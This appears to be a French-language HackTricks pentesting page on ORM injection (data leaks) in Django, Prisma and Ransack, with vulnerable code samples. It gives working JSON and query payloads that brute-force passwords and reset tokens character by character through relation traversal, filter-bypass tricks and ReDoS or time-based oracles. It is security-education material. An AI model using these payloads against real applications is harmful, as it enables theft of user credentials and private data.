hacktricks/pentesting-web/orm-injection.md

337 lines
12 KiB
Markdown

# Injection ORM
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Soutenir HackTricks</summary>
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
## Django ORM (Python)
Dans [**cet article**](https://www.elttam.com/blog/plormbing-your-django-orm/) est expliqué comment il est possible de rendre un ORM Django vulnérable en utilisant par exemple un code comme :
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Une vue API de base à laquelle les utilisateurs envoient des requêtes pour
chercher des articles
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Notez comment toutes les request.data (qui seront un json) sont directement passées à **filtrer des objets de la base de données**. Un attaquant pourrait envoyer des filtres inattendus afin de leak plus de données que prévu.
Exemples :
* **Connexion :** Dans une simple connexion, essayez de leak les mots de passe des utilisateurs enregistrés à l'intérieur.
```json
{
"username": "admin",
"password_startswith":"a"
}
```
{% hint style="danger" %}
Il est possible de forcer le mot de passe jusqu'à ce qu'il soit divulgué.
{% endhint %}
* **Filtrage relationnel** : Il est possible de traverser des relations afin de divulguer des informations provenant de colonnes qui n'étaient même pas censées être utilisées dans l'opération. Par exemple, s'il est possible de divulguer des articles créés par un utilisateur avec ces relations : Article(`created_by`) -\[1..1]-> Auteur (`user`) -\[1..1]-> Utilisateur(`password`).
```json
{
"created_by__user__password__contains":"pass"
}
```
{% hint style="danger" %}
Il est possible de trouver le mot de passe de tous les utilisateurs qui ont créé un article
{% endhint %}
* **Filtrage relationnel plusieurs-à-plusieurs** : Dans l'exemple précédent, nous ne pouvions pas trouver les mots de passe des utilisateurs qui n'ont pas créé d'article. Cependant, en suivant d'autres relations, cela est possible. Par exemple : Article(`created_by`) -\[1..1]-> Auteur(`departments`) -\[0..\*]-> Département(`employees`) -\[0..\*]-> Auteur(`user`) -\[1..1]-> Utilisateur(`password`).
```json
{
"created_by__departments__employees__user_startswith":"admi"
}
```
{% hint style="danger" %}
Dans ce cas, nous pouvons trouver tous les utilisateurs dans les départements d'utilisateurs qui ont créé des articles et ensuite fuir leurs mots de passe (dans le json précédent, nous ne fuyons que les noms d'utilisateur, mais il est ensuite possible de fuir les mots de passe).
{% endhint %}
* **Abus des relations many-to-many entre les groupes et les permissions de Django avec les utilisateurs** : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut, ce modèle a certaines **relations many-to-many avec les tables Permission et Group**. Ce qui est essentiellement un moyen par défaut d'**accéder à d'autres utilisateurs à partir d'un utilisateur** s'ils sont dans le **même groupe ou partagent la même permission**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
* **Contourner les restrictions de filtre** : Le même article de blog a proposé de contourner l'utilisation de certains filtres comme `articles = Article.objects.filter(is_secret=False, **request.data)`. Il est possible de récupérer des articles qui ont is\_secret=True car nous pouvons revenir en arrière à partir d'une relation vers la table Article et divulguer des articles secrets à partir d'articles non secrets car les résultats sont joints et le champ is\_secret est vérifié dans l'article non secret tandis que les données sont divulguées à partir de l'article secret.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
{% hint style="danger" %}
En abusant des relations, il est possible de contourner même les filtres destinés à protéger les données affichées.
{% endhint %}
* **Basé sur l'erreur/le temps via ReDoS** : Dans les exemples précédents, il était prévu d'avoir des réponses différentes si le filtrage fonctionnait ou non pour l'utiliser comme oracle. Mais il pourrait être possible qu'une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
From te same post regarding this vector:
* **SQLite** : N'a pas d'opérateur regexp par défaut (nécessite le chargement d'une extension tierce)
* **PostgreSQL** : N'a pas de délai d'expiration regex par défaut et est moins sujet au backtracking
* **MariaDB** : N'a pas de délai d'expiration regex
## Prisma ORM (NodeJS)
Les éléments suivants sont [**des astuces extraites de ce post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
* **Contrôle complet de la recherche** :
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// L'attaquant a un contrôle total sur toutes les options prisma
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Il est possible de voir que l'ensemble du corps javascript est passé à prisma pour effectuer des requêtes.
Dans l'exemple du post original, cela vérifierait tous les posts créés par quelqu'un (chaque post est créé par quelqu'un) retournant également les informations de l'utilisateur de cette personne (nom d'utilisateur, mot de passe...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
```markdown
Le suivant sélectionne tous les posts créés par quelqu'un avec un mot de passe et renverra le mot de passe :
```
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
* **Contrôle complet de la clause where** :
Examinons cela où l'attaque peut contrôler la clause `where` :
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnérable aux fuites ORM
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Il est possible de filtrer le mot de passe des utilisateurs directement comme :
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
```
{% hint style="danger" %}
En utilisant des opérations comme `startsWith`, il est possible de leak des informations.&#x20;
{% endhint %}
* **Contournement du filtrage relationnel plusieurs-à-plusieurs :**&#x20;
```javascript
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
```
Il est possible de leak des articles non publiés en revenant aux relations plusieurs-à-plusieurs entre `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
Il est également possible de leak tous les utilisateurs en abusant de certaines relations many-to-many en boucle :
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
* **Error/Timed queries**: Dans le post original, vous pouvez lire un ensemble très complet de tests effectués afin de trouver la charge utile optimale pour divulguer des informations avec une charge utile basée sur le temps. Ceci est :
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Où le `{CONTAINS_LIST}` est une liste de 1000 chaînes pour s'assurer que **la réponse est retardée lorsque la fuite correcte est trouvée.**
## **Ransack (Ruby)**
Ces astuces ont été [**trouvées dans ce post**](https://positive.security/blog/ransack-data-exfiltration)**.**
{% hint style="success" %}
**Notez que Ransack 4.0.0.0 impose désormais l'utilisation d'une liste d'autorisation explicite pour les attributs et associations recherchables.**
{% endhint %}
**Exemple vulnérable :**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Notez comment la requête sera définie par les paramètres envoyés par l'attaquant. Il était possible, par exemple, de forcer le jeton de réinitialisation avec :
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
En forçant et potentiellement en établissant des relations, il était possible de leak plus de données d'une base de données.
## Références
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}